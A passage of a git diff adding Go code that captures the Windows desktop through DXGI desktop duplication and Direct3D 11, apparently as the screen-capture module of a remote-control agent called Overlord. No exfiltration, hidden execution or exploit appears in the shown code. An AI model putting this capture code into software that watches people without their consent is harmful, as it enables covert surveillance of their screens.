s.stride = 0 + s.w = 0 + s.h = 0 + s.bits = nil +} + +func captureScale() float64 { + scaleOnce.Do(func() { + s := 1.0 + if env := os.Getenv("OVERLORD_RD_SCALE"); env != "" { + if v, err := strconv.ParseFloat(env, 64); err == nil && v > 0.2 && v <= 1.5 { + s = v + } + } + cachedScale = s + }) + return cachedScale +} diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go new file mode 100644 index 0000000..8511da3 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -0,0 +1,1236 @@ +//go:build windows + +package capture + +import ( + "errors" + "fmt" + "image" + "log" + "strings" + "sync" + "sync/atomic" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + d3d11SdkVersion = 7 + d3d11CreateDeviceBgraSupport = 0x20 + d3dDriverTypeUnknown = 0 + dxgiErrorNotFound uintptr = 0x887A0002 + dxgiErrorWaitTimeout uintptr = 0x887A0027 + dxgiErrorAccessLost uintptr = 0x887A0026 + S_OK uintptr = 0 +) + +var ( + dxgiDLL = syscall.NewLazyDLL("dxgi.dll") + d3d11DLL = syscall.NewLazyDLL("d3d11.dll") + procCreateDXGIFactory1 = dxgiDLL.NewProc("CreateDXGIFactory1") + procD3D11CreateDevice = d3d11DLL.NewProc("D3D11CreateDevice") +) + +var ( + IID_IDXGIFactory1 = windows.GUID{Data1: 0x7b7166ec, Data2: 0x21c7, Data3: 0x44ae, Data4: [8]byte{0xb2, 0x1a, 0xc9, 0xae, 0x32, 0x1a, 0xe3, 0x69}} + IID_IDXGIAdapter1 = windows.GUID{Data1: 0x29038f61, Data2: 0x3839, Data3: 0x4626, Data4: [8]byte{0x91, 0xfd, 0x08, 0x68, 0x79, 0x01, 0x1a, 0x05}} + IID_IDXGIOutput1 = windows.GUID{Data1: 0x00cddea8, Data2: 0x939b, Data3: 0x4b83, Data4: [8]byte{0xa3, 0x40, 0xa6, 0x85, 0x22, 0x66, 0x66, 0xcc}} + IID_IDXGIOutputDuplication = windows.GUID{Data1: 0x191cfac3, Data2: 0xa341, Data3: 0x470d, Data4: [8]byte{0xb2, 0x6e, 0xa8, 0x64, 0xf4, 0x28, 0x31, 0x9c}} + IID_ID3D11Device = windows.GUID{Data1: 0xdb6f6ddb, Data2: 0xac77, Data3: 0x4e88, Data4: [8]byte{0x82, 0x53, 0x81, 0x9d, 0xf9, 0xbb, 0xf1, 0x40}} + IID_ID3D11DeviceContext = windows.GUID{Data1: 0xc0bfa96c, Data2: 0xe089, Data3: 0x44fb, Data4: [8]byte{0x8e, 0xaf, 0x26, 0xf8, 0x79, 0x61, 0x90, 0xda}} + IID_ID3D11Texture2D = windows.GUID{Data1: 0x6f15aaf2, Data2: 0xd208, Data3: 0x4e89, Data4: [8]byte{0x9a, 0xb4, 0x48, 0x95, 0x35, 0xd3, 0x4f, 0x9c}} +) + +const ( + d3d11UsageStaging = 3 + d3d11CpuAccessRead = 0x20000 + d3d11MapRead = 1 + dxgiModeRotationUnspecified = 0 + dxgiModeRotationIdentity = 1 + dxgiModeRotationRotate90 = 2 + dxgiModeRotationRotate180 = 3 + dxgiModeRotationRotate270 = 4 +) + +type iunknownVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr +} + +type iunknown struct { + lpVtbl *iunknownVtbl +} + +func callSyscallN(fn uintptr, args ...uintptr) uintptr { + r, _, _ := syscall.SyscallN(fn, args...) + return r +} + +func (u *iunknown) QueryInterface(iid *windows.GUID, obj unsafe.Pointer) uintptr { + if u == nil || u.lpVtbl == nil { + return 0 + } + return callSyscallN(u.lpVtbl.QueryInterface, uintptr(unsafe.Pointer(u)), uintptr(unsafe.Pointer(iid)), uintptr(obj)) +} + +func (u *iunknown) Release() { + if u == nil || u.lpVtbl == nil { + return + } + syscall.SyscallN(u.lpVtbl.Release, uintptr(unsafe.Pointer(u))) +} + +type idxgiFactory1Vtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetPrivateData uintptr + GetParent uintptr + EnumAdapters uintptr + MakeWindowAssociation uintptr + GetWindowAssociation uintptr + CreateSwapChain uintptr + CreateSoftwareAdapter uintptr + EnumAdapters1 uintptr + IsCurrent uintptr +} + +type idxgiFactory1 struct { + lpVtbl *idxgiFactory1Vtbl +} + +func (f *idxgiFactory1) Release() { + if f == nil || f.lpVtbl == nil { + return + } + syscall.SyscallN(f.lpVtbl.Release, uintptr(unsafe.Pointer(f))) +} + +func (f *idxgiFactory1) EnumAdapters1(index uint32, adapter **idxgiAdapter1) uintptr { + return callSyscallN(f.lpVtbl.EnumAdapters1, uintptr(unsafe.Pointer(f)), uintptr(index), uintptr(unsafe.Pointer(adapter))) +} + +type idxgiAdapter1Vtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetPrivateData uintptr + GetParent uintptr + EnumOutputs uintptr + GetDesc uintptr + CheckInterfaceSupport uintptr + GetDesc1 uintptr +} + +type idxgiAdapter1 struct { + lpVtbl *idxgiAdapter1Vtbl +} + +func (a *idxgiAdapter1) Release() { + if a == nil || a.lpVtbl == nil { + return + } + syscall.SyscallN(a.lpVtbl.Release, uintptr(unsafe.Pointer(a))) +} + +func (a *idxgiAdapter1) EnumOutputs(index uint32, output **idxgiOutput) uintptr { + return callSyscallN(a.lpVtbl.EnumOutputs, uintptr(unsafe.Pointer(a)), uintptr(index), uintptr(unsafe.Pointer(output))) +} + +type dxgiOutputDesc struct { + DeviceName [32]uint16 + DesktopCoordinates rect + AttachedToDesktop int32 + Rotation uint32 + Monitor uintptr +} + +type idxgiOutputVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetPrivateData uintptr + GetParent uintptr + GetDesc uintptr + GetDisplayModeList uintptr + FindClosestMatchingMode uintptr + WaitForVBlank uintptr + TakeOwnership uintptr + ReleaseOwnership uintptr + GetGammaControlCapabilities uintptr + SetGammaControl uintptr + GetGammaControl uintptr + SetDisplaySurface uintptr + GetDisplaySurfaceData uintptr + GetFrameStatistics uintptr +} + +type idxgiOutput struct { + lpVtbl *idxgiOutputVtbl +} + +func (o *idxgiOutput) Release() { + if o == nil || o.lpVtbl == nil { + return + } + syscall.SyscallN(o.lpVtbl.Release, uintptr(unsafe.Pointer(o))) +} + +func (o *idxgiOutput) GetDesc(desc *dxgiOutputDesc) uintptr { + return callSyscallN(o.lpVtbl.GetDesc, uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(desc))) +} + +type idxgiOutput1Vtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetPrivateData uintptr + GetParent uintptr + GetDesc uintptr + GetDisplayModeList uintptr + FindClosestMatchingMode uintptr + WaitForVBlank uintptr + TakeOwnership uintptr + ReleaseOwnership uintptr + GetGammaControlCapabilities uintptr + SetGammaControl uintptr + GetGammaControl uintptr + SetDisplaySurface uintptr + GetDisplaySurfaceData uintptr + GetFrameStatistics uintptr + GetDisplayModeList1 uintptr + FindClosestMatchingMode1 uintptr + GetDisplaySurfaceData1 uintptr + DuplicateOutput uintptr +} + +type idxgiOutput1 struct { + lpVtbl *idxgiOutput1Vtbl +} + +func (o *idxgiOutput1) Release() { + if o == nil || o.lpVtbl == nil { + return + } + syscall.SyscallN(o.lpVtbl.Release, uintptr(unsafe.Pointer(o))) +} + +func (o *idxgiOutput1) DuplicateOutput(device *iunknown, dup **idxgiOutputDuplication) uintptr { + return callSyscallN(o.lpVtbl.DuplicateOutput, uintptr(unsafe.Pointer(o)), uintptr(unsafe.Pointer(device)), uintptr(unsafe.Pointer(dup))) +} + +type dxgiRational struct { + Numerator uint32 + Denominator uint32 +} + +type dxgiModeDesc struct { + Width uint32 + Height uint32 + RefreshRate dxgiRational + Format uint32 + ScanlineOrdering uint32 + Scaling uint32 +} + +type dxgiOutDuplDesc struct { + ModeDesc dxgiModeDesc + Rotation uint32 + DesktopImageInSystemMemory int32 +} + +type dxgiOutDuplPointerPosition struct { + Position point + Visible int32 +} + +type dxgiOutDuplFrameInfo struct { + LastPresentTime uint64 + LastMouseUpdateTime uint64 + AccumulatedFrames uint32 + RectsCoalesced uint32 + ProtectedContentMaskedOut uint32 + PointerPosition dxgiOutDuplPointerPosition + TotalMetadataBufferSize uint32 + PointerShapeBufferSize uint32 +} + +type dxgiMappedRect struct { + Pitch int32 + Bits *byte +} + +type idxgiOutputDuplicationVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetPrivateData uintptr + GetParent uintptr + GetDesc uintptr + AcquireNextFrame uintptr + GetFrameDirtyRects uintptr + GetFrameMoveRects uintptr + GetFramePointerShape uintptr + MapDesktopSurface uintptr + UnMapDesktopSurface uintptr + ReleaseFrame uintptr +} + +type idxgiOutputDuplication struct { + lpVtbl *idxgiOutputDuplicationVtbl +} + +type d3d11DeviceVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + CreateBuffer uintptr + CreateTexture1D uintptr + CreateTexture2D uintptr + CreateTexture3D uintptr + CreateShaderResourceView uintptr + CreateUnorderedAccessView uintptr + CreateRenderTargetView uintptr + CreateDepthStencilView uintptr + CreateInputLayout uintptr + CreateVertexShader uintptr + CreateGeometryShader uintptr + CreateGeometryShaderWithStreamOutput uintptr + CreatePixelShader uintptr + CreateHullShader uintptr + CreateDomainShader uintptr + CreateComputeShader uintptr + CreateClassLinkage uintptr + CreateBlendState uintptr + CreateDepthStencilState uintptr + CreateRasterizerState uintptr + CreateSamplerState uintptr + CreateQuery uintptr + CreatePredicate uintptr + CreateCounter uintptr + CreateDeferredContext uintptr + OpenSharedResource uintptr + CheckFormatSupport uintptr + CheckMultisampleQualityLevels uintptr + CheckCounterInfo uintptr + CheckCounter uintptr + CheckFeatureSupport uintptr + GetPrivateData uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetFeatureLevel uintptr + GetCreationFlags uintptr + GetDeviceRemovedReason uintptr + GetImmediateContext uintptr + SetExceptionMode uintptr + GetExceptionMode uintptr +} + +type d3d11Device struct { + lpVtbl *d3d11DeviceVtbl +} + +func (d *d3d11Device) Release() { + if d == nil || d.lpVtbl == nil { + return + } + callSyscallN(d.lpVtbl.Release, uintptr(unsafe.Pointer(d))) +} + +func (d *d3d11Device) GetImmediateContext(ctx **d3d11DeviceContext) { + if d == nil || d.lpVtbl == nil { + return + } + callSyscallN(d.lpVtbl.GetImmediateContext, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(ctx))) +} + +func (d *d3d11Device) CreateTexture2D(desc *d3d11Texture2DDesc, initialData unsafe.Pointer, tex **d3d11Texture2D) uintptr { + return callSyscallN(d.lpVtbl.CreateTexture2D, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(desc)), uintptr(initialData), uintptr(unsafe.Pointer(tex))) +} + +type d3d11DeviceContextVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + GetDevice uintptr + GetPrivateData uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + VSSetConstantBuffers uintptr + PSSetShaderResources uintptr + PSSetShader uintptr + PSSetSamplers uintptr + VSSetShader uintptr + DrawIndexed uintptr + Draw uintptr + Map uintptr + Unmap uintptr + PSSetConstantBuffers uintptr + IASetInputLayout uintptr + IASetVertexBuffers uintptr + IASetIndexBuffer uintptr + DrawIndexedInstanced uintptr + DrawInstanced uintptr + GSSetConstantBuffers uintptr + GSSetShader uintptr + IASetPrimitiveTopology uintptr + VSSetShaderResources uintptr + VSSetSamplers uintptr + Begin uintptr + End uintptr + GetData uintptr + SetPredication uintptr + GSSetShaderResources uintptr + GSSetSamplers uintptr + OMSetRenderTargets uintptr + OMSetRenderTargetsAndUnorderedAccessViews uintptr + OMSetBlendState uintptr + OMSetDepthStencilState uintptr + SOSetTargets uintptr + DrawAuto uintptr + DrawIndexedInstancedIndirect uintptr + DrawInstancedIndirect uintptr + Dispatch uintptr + DispatchIndirect uintptr + RSSetState uintptr + RSSetViewports uintptr + RSSetScissorRects uintptr + CopySubresourceRegion uintptr + CopyResource uintptr + UpdateSubresource uintptr + CopyStructureCount uintptr + ClearRenderTargetView uintptr + ClearUnorderedAccessViewUint uintptr + ClearUnorderedAccessViewFloat uintptr + ClearDepthStencilView uintptr + GenerateMips uintptr + SetResourceMinLOD uintptr + GetResourceMinLOD uintptr + ResolveSubresource uintptr + ExecuteCommandList uintptr + HSSetShaderResources uintptr + HSSetShader uintptr + HSSetSamplers uintptr + HSSetConstantBuffers uintptr + DSSetShaderResources uintptr + DSSetShader uintptr + DSSetSamplers uintptr + DSSetConstantBuffers uintptr + CSSetShaderResources uintptr + CSSetUnorderedAccessViews uintptr + CSSetShader uintptr + CSSetSamplers uintptr + CSSetConstantBuffers uintptr + VSGetConstantBuffers uintptr + PSGetShaderResources uintptr + PSGetShader uintptr + PSGetSamplers uintptr + VSGetShader uintptr + PSGetConstantBuffers uintptr + IAGetInputLayout uintptr + IAGetVertexBuffers uintptr + IAGetIndexBuffer uintptr + GSGetConstantBuffers uintptr + GSGetShader uintptr + IAGetPrimitiveTopology uintptr + VSGetShaderResources uintptr + VSGetSamplers uintptr + GetPredication uintptr + GSGetShaderResources uintptr + GSGetSamplers uintptr + OMGetRenderTargets uintptr + OMGetRenderTargetsAndUnorderedAccessViews uintptr + OMGetBlendState uintptr + OMGetDepthStencilState uintptr + SOGetTargets uintptr + RSGetState uintptr + RSGetViewports uintptr + RSGetScissorRects uintptr + HSGetShaderResources uintptr + HSGetShader uintptr + HSGetSamplers uintptr + HSGetConstantBuffers uintptr + DSGetShaderResources uintptr + DSGetShader uintptr + DSGetSamplers uintptr + DSGetConstantBuffers uintptr + CSGetShaderResources uintptr + CSGetUnorderedAccessViews uintptr + CSGetShader uintptr + CSGetSamplers uintptr + CSGetConstantBuffers uintptr + ClearState uintptr + Flush uintptr +} + +type d3d11DeviceContext struct { + lpVtbl *d3d11DeviceContextVtbl +} + +func (c *d3d11DeviceContext) Release() { + if c == nil || c.lpVtbl == nil { + return + } + callSyscallN(c.lpVtbl.Release, uintptr(unsafe.Pointer(c))) +} + +func (c *d3d11DeviceContext) CopyResource(dst, src *d3d11Texture2D) { + if c == nil || c.lpVtbl == nil { + return + } + callSyscallN(c.lpVtbl.CopyResource, uintptr(unsafe.Pointer(c)), uintptr(unsafe.Pointer(dst)), uintptr(unsafe.Pointer(src))) +} + +func (c *d3d11DeviceContext) Map(res *d3d11Texture2D, subresource uint32, mapType uint32, mapFlags uint32, mapped *d3d11MappedSubresource) uintptr { + return callSyscallN(c.lpVtbl.Map, uintptr(unsafe.Pointer(c)), uintptr(unsafe.Pointer(res)), uintptr(subresource), uintptr(mapType), uintptr(mapFlags), uintptr(unsafe.Pointer(mapped))) +} + +func (c *d3d11DeviceContext) Unmap(res *d3d11Texture2D, subresource uint32) { + if c == nil || c.lpVtbl == nil { + return + } + callSyscallN(c.lpVtbl.Unmap, uintptr(unsafe.Pointer(c)), uintptr(unsafe.Pointer(res)), uintptr(subresource)) +} + +type d3d11Texture2DVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + GetDevice uintptr + GetPrivateData uintptr + SetPrivateData uintptr + SetPrivateDataInterface uintptr + GetType uintptr + SetEvictionPriority uintptr + GetEvictionPriority uintptr + GetDesc uintptr +} + +type d3d11Texture2D struct { + lpVtbl *d3d11Texture2DVtbl +} + +func (t *d3d11Texture2D) Release() { + if t == nil || t.lpVtbl == nil { + return + } + callSyscallN(t.lpVtbl.Release, uintptr(unsafe.Pointer(t))) +} + +func (t *d3d11Texture2D) GetDesc(desc *d3d11Texture2DDesc) { + if t == nil || t.lpVtbl == nil { + return + } + callSyscallN(t.lpVtbl.GetDesc, uintptr(unsafe.Pointer(t)), uintptr(unsafe.Pointer(desc))) +} + +type d3d11Texture2DDesc struct { + Width uint32 + Height uint32 + MipLevels uint32 + ArraySize uint32 + Format uint32 + SampleDesc struct { + Count uint32 + Quality uint32 + } + Usage uint32 + BindFlags uint32 + CPUAccessFlags uint32 + MiscFlags uint32 +} + +type d3d11MappedSubresource struct { + Data unsafe.Pointer + RowPitch uint32 + DepthPitch uint32 +} + +func (d *idxgiOutputDuplication) Release() { + if d == nil || d.lpVtbl == nil { + return + } + syscall.SyscallN(d.lpVtbl.Release, uintptr(unsafe.Pointer(d))) +} + +func (d *idxgiOutputDuplication) GetDesc(desc *dxgiOutDuplDesc) uintptr { + return callSyscallN(d.lpVtbl.GetDesc, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(desc))) +} + +func (d *idxgiOutputDuplication) AcquireNextFrame(timeoutMs uint32, info *dxgiOutDuplFrameInfo, resource **iunknown) uintptr { + return callSyscallN(d.lpVtbl.AcquireNextFrame, uintptr(unsafe.Pointer(d)), uintptr(timeoutMs), uintptr(unsafe.Pointer(info)), uintptr(unsafe.Pointer(resource))) +} + +func (d *idxgiOutputDuplication) MapDesktopSurface(mapped *dxgiMappedRect) uintptr { + return callSyscallN(d.lpVtbl.MapDesktopSurface, uintptr(unsafe.Pointer(d)), uintptr(unsafe.Pointer(mapped))) +} + +func (d *idxgiOutputDuplication) UnMapDesktopSurface() uintptr { + return callSyscallN(d.lpVtbl.UnMapDesktopSurface, uintptr(unsafe.Pointer(d))) +} + +func (d *idxgiOutputDuplication) ReleaseFrame() uintptr { + return callSyscallN(d.lpVtbl.ReleaseFrame, uintptr(unsafe.Pointer(d))) +} + +var ( + desktopDuplicationEnabled atomic.Bool + dxgiState = &duplicationState{} +) + +type duplicationState struct { + mu sync.Mutex + display int + outputName string + bounds image.Rectangle + cursorBounds image.Rectangle + factory *idxgiFactory1 + adapter *idxgiAdapter1 + output *idxgiOutput + output1 *idxgiOutput1 + dup *idxgiOutputDuplication + device *d3d11Device + context *d3d11DeviceContext + staging *d3d11Texture2D + stagingDesc d3d11Texture2DDesc + desc dxgiOutDuplDesc + lastBase *image.RGBA + lastFrame *image.RGBA + lastFrameAt time.Time + lastFail time.Time +} + +func SetDesktopDuplication(enabled bool) { + desktopDuplicationEnabled.Store(enabled) + dxgiState.reset() +} + +func useDesktopDuplication() bool { + return desktopDuplicationEnabled.Load() +} + +func captureDisplayDXGI(display int) (*image.RGBA, error) { + return dxgiState.capture(display) +} + +func (s *duplicationState) reset() { + s.mu.Lock() + defer s.mu.Unlock() + s.closeLocked() +} + +func (s *duplicationState) closeLocked() { + if s.dup != nil { + s.dup.Release() + s.dup = nil + } + if s.staging != nil { + s.staging.Release() + s.staging = nil + } + if s.context != nil { + s.context.Release() + s.context = nil + } + if s.output1 != nil { + s.output1.Release() + s.output1 = nil + } + if s.output != nil { + s.output.Release() + s.output = nil + } + if s.adapter != nil { + s.adapter.Release() + s.adapter = nil + } + if s.factory != nil { + s.factory.Release() + s.factory = nil + } + if s.device != nil { + s.device.Release() + s.device = nil + } + s.outputName = "" + s.bounds = image.Rectangle{} + s.cursorBounds = image.Rectangle{} + s.display = -1 + s.lastBase = nil + s.lastFrame = nil + s.lastFrameAt = time.Time{} +} + +func (s *duplicationState) capture(display int) (*image.RGBA, error) { + s.mu.Lock() + defer s.mu.Unlock() + + if err := s.ensure(display); err != nil { + s.lastFail = time.Now() + return nil, err + } + + var info dxgiOutDuplFrameInfo + var resource *iunknown + hr := s.dup.AcquireNextFrame(50, &info, &resource) + if hr == dxgiErrorWaitTimeout { + if s.lastBase != nil { + img := s.composeFrame(s.lastBase) + s.lastFrame = img + s.lastFrameAt = time.Now() + return img, nil + } + if s.lastFrame != nil { + return s.lastFrame, nil + } + return nil, errors.New("dxgi: frame timeout") + } + if hr == dxgiErrorAccessLost { + s.closeLocked() + return nil, errors.New("dxgi: access lost") + } + if hr != S_OK { + return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr) + } + if resource != nil { + resource.Release() + } + + width := int(s.desc.ModeDesc.Width) + height := int(s.desc.ModeDesc.Height) + if width <= 0 || height <= 0 { + _ = s.dup.ReleaseFrame() + return nil, errors.New("dxgi: invalid frame size") + } + + var img *image.RGBA + if s.desc.DesktopImageInSystemMemory != 0 { + var mapped dxgiMappedRect + hr = s.dup.MapDesktopSurface(&mapped) + if hr != S_OK { + _ = s.dup.ReleaseFrame() + return nil, fmt.Errorf("dxgi: map desktop surface failed 0x%x", hr) + } + if mapped.Pitch <= 0 || mapped.Bits == nil { + _ = s.dup.UnMapDesktopSurface() + _ = s.dup.ReleaseFrame() + return nil, errors.New("dxgi: invalid mapped surface") + } + + pitch := int(mapped.Pitch) + src := unsafe.Slice(mapped.Bits, pitch*height) + img = convertBGRA(src, pitch, width, height, s.desc.Rotation) + _ = s.dup.UnMapDesktopSurface() + _ = s.dup.ReleaseFrame() + } else { + img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource) + _ = s.dup.ReleaseFrame() + if hr != S_OK || img == nil { + return nil, fmt.Errorf("dxgi: staging readback failed 0x%x", hr) + } + } + + s.lastBase = img + img = s.composeFrame(img) + s.lastFrame = img + s.lastFrameAt = time.Now() + + return img, nil +} + +func (s *duplicationState) composeFrame(base *image.RGBA) *image.RGBA { + if base == nil { + return nil + } + img := cloneRGBA(base) + bounds := s.bounds + if bounds.Dx() != int(s.desc.ModeDesc.Width) || bounds.Dy() != int(s.desc.ModeDesc.Height) { + bounds = image.Rect(bounds.Min.X, bounds.Min.Y, bounds.Min.X+int(s.desc.ModeDesc.Width), bounds.Min.Y+int(s.desc.ModeDesc.Height)) + } + drawCursorRotated(img, s.cursorBounds, bounds, s.desc.Rotation) + + userScale := captureScale() + rotW := img.Bounds().Dx() + rotH := img.Bounds().Dy() + dstW := int(float64(rotW) * userScale) + dstH := int(float64(rotH) * userScale) + if dstW > 0 && dstH > 0 && (dstW != rotW || dstH != rotH) { + img = resizeNearest(img, dstW, dstH) + } + return img +} + +func cloneRGBA(src *image.RGBA) *image.RGBA { + if src == nil { + return nil + } + dst := image.NewRGBA(src.Rect) + copy(dst.Pix, src.Pix) + return dst +} + +func (s *duplicationState) ensure(display int) error { + if s.dup != nil && s.display == display { + return nil + } + s.closeLocked() + + monitors := monitorList() + if display < 0 || display >= len(monitors) { + display = 0 + } + if len(monitors) == 0 { + return errors.New("dxgi: no monitors") + } + + mon := monitors[display] + desiredName := strings.TrimSpace(mon.name) + bounds := resolveBounds(mon) + cursorBounds := mon.rect + + factory, err := createDXGIFactory1() + if err != nil { + return err + } + + output, adapter, outputName, err := findOutput(factory, desiredName, bounds, display) + if err != nil { + factory.Release() + return err + } + + device, context, err := createD3DDevice(adapter) + if err != nil { + output.Release() + adapter.Release() + factory.Release() + return err + } + + var output1 *idxgiOutput1 + hr := (*iunknown)(unsafe.Pointer(output)).QueryInterface(&IID_IDXGIOutput1, unsafe.Pointer(&output1)) + if hr != S_OK || output1 == nil { + device.Release() + output.Release() + adapter.Release() + factory.Release() + return errors.New("dxgi: failed to query IDXGIOutput1") + } + + var dup *idxgiOutputDuplication + hr = output1.DuplicateOutput((*iunknown)(unsafe.Pointer(device)), &dup) + if hr != S_OK || dup == nil { + output1.Release() + context.Release() + device.Release() + output.Release() + adapter.Release() + factory.Release() + return fmt.Errorf("dxgi: DuplicateOutput failed 0x%x", hr) + } + + var desc dxgiOutDuplDesc + _ = dup.GetDesc(&desc) + if desc.DesktopImageInSystemMemory == 0 { + log.Printf("capture: dxgi duplication has no system-memory surface; using staging readback") + } + + s.factory = factory + s.adapter = adapter + s.output = output + s.output1 = output1 + s.device = device + s.context = context + s.dup = dup + s.desc = desc + s.outputName = outputName + s.display = display + s.bounds = bounds + s.cursorBounds = cursorBounds + + return nil +} + +func (s *duplicationState) readbackFrame(width, height int, rotation uint32, resource *iunknown) (*image.RGBA, uintptr) { + if resource == nil || s.device == nil || s.context == nil { + return nil, uintptr(1) + } + var tex *d3d11Texture2D + hr := resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex)) + if hr != S_OK || tex == nil { + return nil, hr + } + defer tex.Release() + + var srcDesc d3d11Texture2DDesc + tex.GetDesc(&srcDesc) + if srcDesc.Width == 0 || srcDesc.Height == 0 { + return nil, uintptr(1) + } + + if s.staging == nil || s.stagingDesc.Width != srcDesc.Width || s.stagingDesc.Height != srcDesc.Height || s.stagingDesc.Format != srcDesc.Format { + if s.staging != nil { + s.staging.Release() + s.staging = nil + } + stagingDesc := srcDesc + stagingDesc.Usage = d3d11UsageStaging + stagingDesc.BindFlags = 0 + stagingDesc.CPUAccessFlags = d3d11CpuAccessRead + stagingDesc.MiscFlags = 0 + stagingDesc.MipLevels = 1 + stagingDesc.ArraySize = 1 + stagingDesc.SampleDesc.Count = 1 + stagingDesc.SampleDesc.Quality = 0 + var staging *d3d11Texture2D + hr = s.device.CreateTexture2D(&stagingDesc, nil, &staging) + if hr != S_OK || staging == nil { + return nil, hr + } + s.staging = staging + s.stagingDesc = stagingDesc + } + + s.context.CopyResource(s.staging, tex) + var mapped d3d11MappedSubresource + hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped) + if hr != S_OK || mapped.Data == nil || mapped.RowPitch == 0 { + return nil, hr + } + defer s.context.Unmap(s.staging, 0) + + pitch := int(mapped.RowPitch) + src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height)) + img := convertBGRA(src, pitch, int(srcDesc.Width), int(srcDesc.Height), rotation) + + return img, S_OK +} + +func createDXGIFactory1() (*idxgiFactory1, error) { + var factory *idxgiFactory1 + hr, _, _ := procCreateDXGIFactory1.Call(uintptr(unsafe.Pointer(&IID_IDXGIFactory1)), uintptr(unsafe.Pointer(&factory))) + if hr != S_OK || factory == nil { + return nil, fmt.Errorf("dxgi: CreateDXGIFactory1 failed 0x%x", hr) + } + return factory, nil +} + +func findOutput(factory *idxgiFactory1, desiredName string, desiredBounds image.Rectangle, displayIndex int) (*idxgiOutput, *idxgiAdapter1, string, error) { + var fallbackOutput *idxgiOutput + var fallbackAdapter *idxgiAdapter1 + fallbackName := "" + outIndex := 0 + + for adapterIndex := 0; ; adapterIndex++ { + var adapter *idxgiAdapter1 + hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter) + if hr == dxgiErrorNotFound { + break + } + if hr != S_OK || adapter == nil { + continue + } + + for outputIndex := 0; ; outputIndex++ { + var output *idxgiOutput + hrOut := adapter.EnumOutputs(uint32(outputIndex), &output) + if hrOut == dxgiErrorNotFound { + break + } + if hrOut != S_OK || output == nil { + continue + } + + var desc dxgiOutputDesc + _ = output.GetDesc(&desc) + name := windows.UTF16ToString(desc.DeviceName[:]) + coords := image.Rect(int(desc.DesktopCoordinates.left), int(desc.DesktopCoordinates.top), int(desc.DesktopCoordinates.right), int(desc.DesktopCoordinates.bottom)) + + if desiredBounds.Dx() > 0 && desiredBounds.Dy() > 0 && coords == desiredBounds { + if fallbackOutput != nil && fallbackAdapter != nil { + fallbackOutput.Release() + fallbackAdapter.Release() + } + return output, adapter, name, nil + } + + if desiredName != "" && strings.EqualFold(strings.TrimSpace(name), desiredName) { + if fallbackOutput != nil && fallbackAdapter != nil { + fallbackOutput.Release() + fallbackAdapter.Release() + } + return output, adapter, name, nil + } + + if outIndex == displayIndex && fallbackOutput == nil { + fallbackOutput = output + fallbackAdapter = adapter + fallbackName = name + } else { + output.Release() + } + outIndex++ + } + if fallbackOutput == nil { + adapter.Release() + } + } + + if fallbackOutput != nil && fallbackAdapter != nil { + return fallbackOutput, fallbackAdapter, fallbackName, nil + } + + return nil, nil, "", errors.New("dxgi: output not found") +} + +func createD3DDevice(adapter *idxgiAdapter1) (*d3d11Device, *d3d11DeviceContext, error) { + var device *d3d11Device + var context *d3d11DeviceContext + var featureLevel uint32 + hr, _, _ := procD3D11CreateDevice.Call( + uintptr(unsafe.Pointer(adapter)), + uintptr(d3dDriverTypeUnknown), + 0, + uintptr(d3d11CreateDeviceBgraSupport), + 0, + 0, + uintptr(d3d11SdkVersion), + uintptr(unsafe.Pointer(&device)), + uintptr(unsafe.Pointer(&featureLevel)), + uintptr(unsafe.Pointer(&context)), + ) + if hr != S_OK || device == nil || context == nil { + if context != nil { + context.Release() + } + if device != nil { + device.Release() + } + return nil, nil, fmt.Errorf("dxgi: D3D11CreateDevice failed 0x%x", hr) + } + return device, context, nil +} + +func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA { + switch rotation { + case dxgiModeRotationRotate90: + dst := image.NewRGBA(image.Rect(0, 0, height, width)) + for y := 0; y < height; y++ { + sRow := src[y*pitch : y*pitch+width*4] + for x := 0; x < width; x++ { + si := x * 4 + dx := height - 1 - y + dy := x + di := dy*dst.Stride + dx*4 + dst.Pix[di+0] = sRow[si+2] + dst.Pix[di+1] = sRow[si+1] + dst.Pix[di+2] = sRow[si+0] + dst.Pix[di+3] = 255 + } + } + return dst + case dxgiModeRotationRotate180: + dst := image.NewRGBA(image.Rect(0, 0, width, height)) + for y := 0; y < height; y++ { + sRow := src[y*pitch : y*pitch+width*4] + dy := height - 1 - y + dRow := dst.Pix[dy*dst.Stride : dy*dst.Stride+width*4] + for x := 0; x < width; x++ { + si := x * 4 + dx := width - 1 - x + di := dx * 4 + dRow[di+0] = sRow[si+2] + dRow[di+1] = sRow[si+1] + dRow[di+2] = sRow[si+0] + dRow[di+3] = 255 + } + } + return dst + case dxgiModeRotationRotate270: + dst := image.NewRGBA(image.Rect(0, 0, height, width)) + for y := 0; y < height; y++ { + sRow := src[y*pitch : y*pitch+width*4] + for x := 0; x < width; x++ { + si := x * 4 + dx := y + dy := width - 1 - x + di := 